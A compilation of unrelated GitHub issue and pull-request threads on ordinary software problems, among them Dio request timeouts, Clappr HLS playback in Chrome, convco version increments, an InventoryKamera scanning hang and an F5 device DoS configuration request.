e.g. Android Studio 3.3.2 / Xcode 10.2.1
Android Studio Arctic Fox 2020.3.1

Repro rate
e.g. all the time (100%) / sometimes x% / only once
50%

Repro with our demo prj
e.g. does it happen with our demo project?
/

Demo project link
e.g. link to a demo project that highlights the issue
/

Issue Description and Steps
I get a lot of errors en Sentry and sometimes during debugging that there is a timeout, but this timeout seems to be false.
It seems like this happens in the original Dio package as well.
This happens quite frequently, so it would be nice if this is fxied.

Can you describe your usecase when this is happening? The original issue you linked talks about timeouts on requests that happen in a loop, is this also your case or does it happen on random single requests as well? Are the requests triggered by user interaction or by some other mechanism?

It can happen at any time:

Requests made in the background (eg an update of translations)
Requests made by the user (user presses a button, and the app then waits for the response)

It can be while a single request is made, or when a bunch of requests are made at the same time.
I can't seem find a pattern in it.

Keep in mind that if this is on mobile in production, unstable connections are the most likely source of timeouts, and they should be handled by you in an intelligent way (retry behavior, etc).
Is it possible that this is the behavior you're seeing?

We have it during debug and in production, on mobile and web.
The app indeed catches those errors and handles it gracefully, it's just not a good user experience.

Let's focus on the web case. If you can provide me with a screenshot of a case where the request succeeded in chrome (you can see it in the network tab) but failed in Dio, I can investigate it further. But for now, I have to assume this is just random network unstability and not related to Dio itself

Alright, when it happens again on web I'll post an update here (we are focussing on the mobile apps right now, so it might take some time).
Thanks for the follow up in advance.

Are you using the http2_adapter and Dio as a singleton?  If so, see my comment about something I discovered in the adapter's connection manager here.  This repo and the original have the same relevant code so applies here too.

I used Dio as a singleton, but dont use http2_adapter, and sometimes it's happen,
i had stop and start flutter again, it's gone. And  i dont know why.
I'll try your solution.
Thanks !

@thedang  dit it work for u?

After checking, I found that if I turn off firebase crashlytics everything is ok,
Can you try solution

This package is now archived. This was originally forked because the owner of the Dio package was inactive, but he has sinced returned from inactiveness and has added some more contributors to prevent this from happening again in the future. All future development continues over on Dio.


HLSJS not working properly

Hi,
M3U8 looks a little bit broken on Chrome, Opera and Firefox. It works on Safari.
OS: OS X 10.11
Clappr Version: Latest
Browser: Chrome 46.0.2490.86 (64-bit) and Opera 33.0.1990.115
There are some videos that I just get a white screen on Clappr.
var playerElement = document.getElementById("player-wrapper");

var player = new Clappr.Player({
  source: 'http://<IP_ADDRESS>/eventialsVOD/_definst_/amlst:MTQ/MTQ3MTYxOzM0MDYz/playlist.m3u8',
  height: 360,
  width: 640
});

player.attachTo(playerElement);

With Linux + Chrominium the video doesn't play. With Linux + Firefox it works.
Browser: Firefox 42
The video keeps buffering all the time. Maybe #696 ?
var playerElement = document.getElementById("player-wrapper");

var player = new Clappr.Player({
  source: 'http://<IP_ADDRESS>/eventialsVOD/_definst_/amlst:MjU/MjU4ODUxOzMzOTk1/playlist.m3u8',
  height: 360,
  width: 640
});

player.attachTo(playerElement);

yep, reproduced here. It seems to be an issue with hlsjs, I could reproduce the same problem on http://dailymotion.github.io/hls.js/demo/?src=http://<IP_ADDRESS>/eventialsVOD/definst/amlst:MTQ/MTQ3MTYxOzM0MDYz/playlist.m3u8. Adding @mangui to the loop.
Can you tell me what encoder and HLS splitter are you using?

I have no idea, but we use Wowza Stream Engine 4.2.
ffprobe shows:
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'MTQ3MTYxOzM0MDYz.mp4':
  Metadata:
    major_brand     : f4v
    minor_version   : 0
    compatible_brands: isommp42m4v
    creation_time   : 2015-11-25 23:08:37
  Duration: 01:24:01.86, start: 0.000000, bitrate: 217 kb/s
    Stream #0:0(eng): Video: h264 (Baseline) (avc1 / 0x31637661), yuv420p, 640x480 [SAR 1:1 DAR 4:3], 176 kb/s, 12.49 fps, 24 tbr, 90k tbn, 48 tbc
    Metadata:
      creation_time   : 2015-11-25 23:08:37
      handler_name    : WowzaStreamingEngine
    Stream #0:1(eng): Audio: aac (mp4a / 0x6134706D), 16000 Hz, mono, fltp, 39 kb/s
    Metadata:
      creation_time   : 2015-11-25 23:08:37
      handler_name    : WowzaStreamingEngine

Hope this can help a little :)

Got a problem like this.
My stream works on Firefox, Chrome for Windows and Safari but not on Chrome for OS X.
On Chrome for OS X it just shows a black screen.
OS X 10.11.1
Clappr 0.2.25
Chrome 47.0.2526.80 (64-bit)
The message I get when trying my stream on Dailymotion's hls.js demo is:
"The video playback was aborted due to a corruption problem or because the video used features your browser did not support."
I tried my stream on Chrome Canary for OS X (49.0.2588.0 canary (64-bit)) and it worked. I think the Chrome team is aware of this issue so it'll be fixed soon.

Guys, I was able to isolate the problem we're having here at Eventials with this HLS streaming in Chrome. Short answer: it has nothing to do with Clappr and (maybe) even with HLS.JS.
Turns out it was one of the levels inside the m3u8 manifest declared with a codec that was not the one being used. We first missed that because our transcoding pipeline includes the original broadcast (Video PassThru and Audio from speex to aac), so it varies according to clients. Our m3u8 generator is declaring (hardcoded) the codecs used, because I still have to figure out how to identify the actual codec (specially on live streaming).
I tried to remove CODECS info from #EXT-X-STREAM-INF. HLS.JS in Safari and Firefox was able to handle the playback normally, but in Chrome...
Other browsers didn't seem to care about this misinformation in the m3u8 manifest, maybe hls.js or chrome will address this in the future.
Just sharing my sad story... :)

Moving from nginx-rtmp to Nimble Streamer also fixed my problems.
I still use the same streams so my issue also had nothing to do with HLS.js or Clappr :)

@alexandrevicenzi can we close this one?

@leandromoreira sure :)
@gfronza Thank you

Hey guys - I'm seeing this issue as well, rock solid on Firefox but Chrome just goes to a white screen all the time.
I'm not sure I understand what the fix was? @flavioribeiro fill me in?

@framerate are you using wowza? can you tell us the stream url?

reopening this based on @framerate comment

We don't use wowza, it's a custom HLS streaming engine so it may be hard to test. I'm doing a few more tests to make sure I don't have anything corrupt in my Chrome as well that could cause this.

@framerate can you reproduce on HLS.js demo page? https://github.com/clappr/clappr/blob/master/doc/TROUBLESHOOTING.md#common-steps-to-verify-issues

Unfortunately I can't since our streams are CORS-restricted by someone at a higher pay grade than myself @flavioribeiro  :(
I'll try and get them to lift it (again) though.

@framerate you should be able to bypass the cors restriction by installing and enabling
https://chrome.google.com/webstore/detail/allow-control-allow-origi/nlfbmbojpeacfghkpbjhddihlkkiljbi?hl=en

@tjenkinson thanks for that.
Running there it seems go fine, but running in my clappr applications when I hit a certain part of the stream my Clappr instead just went white.
Is there an easy way to debug this? I set Clappr.Log.setLevel(0); but that's a lot of log spam.

@framerate you can enable hls.js log instead:
new Clappr.Player({
  playback: {
    debug: true
  }
}

Any news, @framerate ?

@joaopaulovieira Sorry, delays on the project led to it being canceled and they went back to another JS library I think!
Wish I had more news!

I see :confused:
I Think we can close this issue ? @towerz, @leandromoreira ?


Added missing platform.h to mbedtls ssl.h

There was a missing definition of mbedtls_time_t
See for example:
https://travis-ci.org/SHA2017-badge/Firmware/jobs/202459377

Thanks for this, @annejan . I've pushed this fix into our internal review & merge queue.

Cherry-picked in ec31b39. Thanks again!


Transform error while getting items from hashtag feed.

Sometimes, when scrolling through a tag feed, I get a unhandled rejection.
TransformError: [object Object]
at Request.faultTolerantRequest (/instagram-private-api/dist/core/request.js:103:19)

I have the same error sometimes.

same problem for me

this is network related error

I'm opening it again because it looks like error.message has the wrong format. It should be a string but returns [object Object].


Configurable version increments per Type

I expect that this PR will be declined as it takes a slightly different view of the ConventionalCommit spec, and actively deviates from the ConventionalChangelog spec, however I would appreciate feedback if possible.
I like convco very much.  However, to be of real value to me I need to be able increment either the major, minor or patch via custom types, not constrained to feat and fix.  This is allowed by the spec, but not mandated.  This PR removes conventional::Type preferring instead for every type to be a String.  It then adds a new Increment config Type field which allows the specification of which value to increment when that type is encountered in the git history.

Thank you for the PR. Convco already supports custom types https://github.com/convco/convco/blob/master/src/conventional/commits.rs#L20,  but not an increment behavior. I will have a look to your PR later  in more details

don't forget to use a conventional commit message for your commits ;)

Thanks for taking the time to review my proposal.    I was expecting a squash merge and hence the title of the PR would take contain the label.  Would you prefer me to reword my commit via rebase?  And hence break the history of the PR?

don't forget to use a conventional commit message for your commits ;)

Thanks for taking the time to review my proposal.  I was expecting a squash merge and hence the title of the PR would take contain the label. Would you prefer me to reword my commit via rebase? And hence break the history of the PR?

don't forget to use a conventional commit message for your commits ;)

Thanks for taking the time to review my proposal.  I was expecting a squash merge and hence the title of the PR would take contain the label. Would you prefer me to reword my commit via rebase? And hence break the history of the PR?

Indeed I can use the squash and merge. I normally use the rebase and merge as the workflows will make sure a conventional commit is used for each commit.

Indeed I can use the squash and merge. I normally use the rebase and merge as the workflows will make sure a conventional commit is used for each commit.

Since the workflows failed I fixed the style issues and squashed the lot down to a single conventional commit.

I fixed the remaining issues here: https://github.com/convco/convco/tree/BRANCH_NAME

Merged with 607c9b17e32227334f142f94519c5a92e4155d4a


Add volSync and kubeObjectProtection options

With the current test environment we don't have volsync or volero, so we need to disable volSync and kubeObjectProtection manually after deploying ramen.
Make this manual task easier and less error prone by including the relevant options in the config.
Without this you need to go to source to get the right names and type too much manually. There is no validation of the config map, so invalid configuration is accepted silently.
Remove option to disable kubeObjectProtection in the makefile since it deletes the config added by this change, and soon there will be no need to disable this protection.
I think we should add all the options and documentation for every option in the default yaml, something like[1] but we can improve this later.
[1] https://github.com/oVirt/ovirt-imageio/blob/master/data/README
Signed-off-by: Nir Soffer<EMAIL_ADDRESS>

Thanks! I'll check the AUTO_CONFIGURE_DR_CLUSTER way.

Not needed now


[fixes #22431] Don't use batch interface for single object operations

This fixes #22431
Related, it might be worth rewriting the GCS staging process to do a bulk match, which would allow a single (or at least significantly less) API calls to check if the files to stage exist or not.  Doing so would require a pretty significant rewrite of that process though.
R: @chamikaramj

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[x] Choose reviewer(s) and mention them in a comment (R: @username).
[x] Mention the appropriate issue in your description (for example: addresses #123), if applicable. This will automatically add a link to the pull request in the issue. If you would like the issue to automatically close on merging the pull request, comment fixes #<ISSUE NUMBER> instead.
[ ] Update CHANGES.md with noteworthy changes.
[x] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.
To check the build health, please visit https://github.com/apache/beam/blob/master/.test-infra/BUILD_STATUS.md
GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

Run Java PreCommit

Run Java PreCommit

We have been avoiding doing rewrites because we have always hoped that we would rewrite this to use GCS's gRPC APIs instead of the current JSON ones.


Recrawl on HUP?

Hello.
What if vmtouch recrawled file paths in case of SIGHUP receiving? What do you think?

Yes, it's a good idea, thanks! It might be a bit complicated to implement though. We'd have to keep track of the mappings as we make them, then unlock and unmap them before redoing the crawl.
 For example, if a file hasn't changed inode/size, then we could avoid remapping/relocking it, therefore eliminating the small window where it's unlocked.
Thanks for the idea! Unfortunately I don't have the time to do this right now, but I'd consider a PR for it.


Extend Expression.url.upload() to support row-specific URLs using an input column instead of a single prefix

Is your feature request related to a problem?
Currently, users can only upload to a single prefix (local directory, or S3).
The feature request is to extent the upload functionality to work on a column expression.
Describe the solution you'd like
I would like to be able to run this example
df = df.with_column("uploaded_url", df["foo"].url.upload(df["target_urls"]))

This is expected to produce a column named "uploaded_url" which contains paths to successfully uploaded data or null to indicate failure. This would allow API consistency with the download() method, which allows users to optionally raise errors in an eager manner, or ignore them and report a null value from the expression.
Describe alternatives you've considered
I currently maintain a custom StatefulUDF which does the same thing, however, the small API change would remove the need for this solution.
Additional Context
Slack Thread: https://dist-data.slack.com/archives/C041NA2RBFD/p1731900336643709
Would you like to implement a fix?
No

FYI aiming to find some time to add this extension towards the end of the week

@desmondcheongzx Hello again - any chance there's been progress on this?

Merged in the PR for this, it'll be in the first release of the new year. In the meantime, happy holidays!


Character Scanners stops on Kokomi

I have ran the scanner twice already and it keeps stopping on kokomi.

I don't think it stops at kokomi, i've ran this version of the genshin scanner twice and it stops at either 16/17 characters of the 32 or so characters that I have.

nah it stops on kokomi specifically, happens for me too

nah it stops on kokomi specifically, happens for me too

I don't have kokomi so that can't be the case for me then.

Also stops at Kokomi for me. At first, she was the top character of my list so I thought maybe it was an issue with it wrapping back around after reaching the end of the list. Moved her location, same issue. Set her as my active character so that it'd start with her, and it locked immediately.
Error Log:
Could not determine character's name or element
Object reference not set to an instance of an object.
at InventoryKamera.CharacterScraper.ScanCharacters() in B:\Projects\VisualStudio\InventoryKamera\InventoryKamera\InventoryKamera\CharacterScraper.cs:line 23
at InventoryKamera.InventoryKamera.GatherData(Boolean[] formats, Boolean[] checkbox) in B:\Projects\VisualStudio\InventoryKamera\InventoryKamera\InventoryKamera\InventoryKamera.cs:line 94
at InventoryKamera.Form1.<>c__DisplayClass21_0.<StartButton_Clicked>b__0() in B:\Projects\VisualStudio\InventoryKamera\InventoryKamera\InventoryKamera\Form1.cs:line 207

This is a known bug and we have a fix written for it. You may click to the next character when it hangs on Kokomi or any other character with a long name and it will be fine, it just won't scan that character.

For me is stopping on Electro Traveler (M). Is there a correlation? Also, I think it's stopping after checking the first talent of any character if Childe is on the Active Party.

Hi there, this issue is hopefully resolved in the v1.1.1 prerelease. If it has been, please let us know so we can close this issue.


Support the Device DDOS AS3 declaration

Is your feature request related to a problem? Please describe.
ISP customer Orange, require to configure all the DDOS features at the Device Level.
Describe the solution you'd like
It can be configured either with GUI or tmsh as shown below:
(tmos)# list security dos device-config all-properties
security dos device-config dos-device-config {
auto-threshold-sensitivity 50
custom-signatures none
dns-dos-mitigation-percentage 500
dns-security none
dos-device-vector {
arp-flood {
allow-advertisement disabled
allow-upstream-scrubbing disabled
attacked-dst disabled
auto-blacklisting disabled
auto-scrubbing disabled
auto-threshold disabled
bad-actor disabled
blacklist-category denial_of_service
blacklist-detection-seconds 60
blacklist-duration 14400
ceiling 200000
default-internal-rate-limit 100000
detection-threshold-percent 500
detection-threshold-pps 10000
enforce enabled
floor 5000
multiplier-mitigation-percentage inherited-default
packet-types none
per-dst-ip-detection-pps infinite
per-dst-ip-limit-pps infinite
per-source-ip-detection-pps infinite
per-source-ip-limit-pps infinite
scrubbing-category attacked_ips
scrubbing-detection-seconds 10
scrubbing-duration 900
simulate-auto-threshold disabled
state disabled
suspicious false
threshold-mode fully-automatic
valid-domains none
}
All others vectors....
Describe alternatives you've considered
For the time being either CLI
(tmos)# modify security dos device-config dos-device-config dos-device-vector { arp-flood ....
or GUI is used
Additional context
Add any other context, such as the desired tmsh configuration, about the feature request here.

AS3 is meant to configure per-application settings. Global settings like this one are more appropriate for Declarative Onboarding: https://github.com/F5Networks/f5-declarative-onboarding


Indicator setup form: Repurpose disaggregation validation pattern for LoP target

Issue
When I enter my periodic targets, the system helps me ensure that their total is consistent with the LoP target total.
Preconditions

I'm setting up an indicator on the Targets tab.
I've selected any target frequency except for LoP-only.
Targets are created and I'm in the process of editing target values

Acceptance criteria

[ ] 1. At the bottom of the periodic targets table, we provide a "running balance" reusing interaction/U patterns Paul developed for #1216. This replaces the auto-sum row we show for non-cumulative indicators today.
[ ] 2. We offer an "update LoP to match" function.
[ ] 3. The "running balance" takes calculation type into account.

[ ] 3.1. Non-cumulative #: Simple sum
[ ] 3.2. Cumulative #: Simple sum
[ ] 3.3. Non-cumulative %: The final periodic target should match the LoP target. (NOT a sum.)

This ticket is no longer needed, due to improvements to LoP handling we are releasing with Satsuma.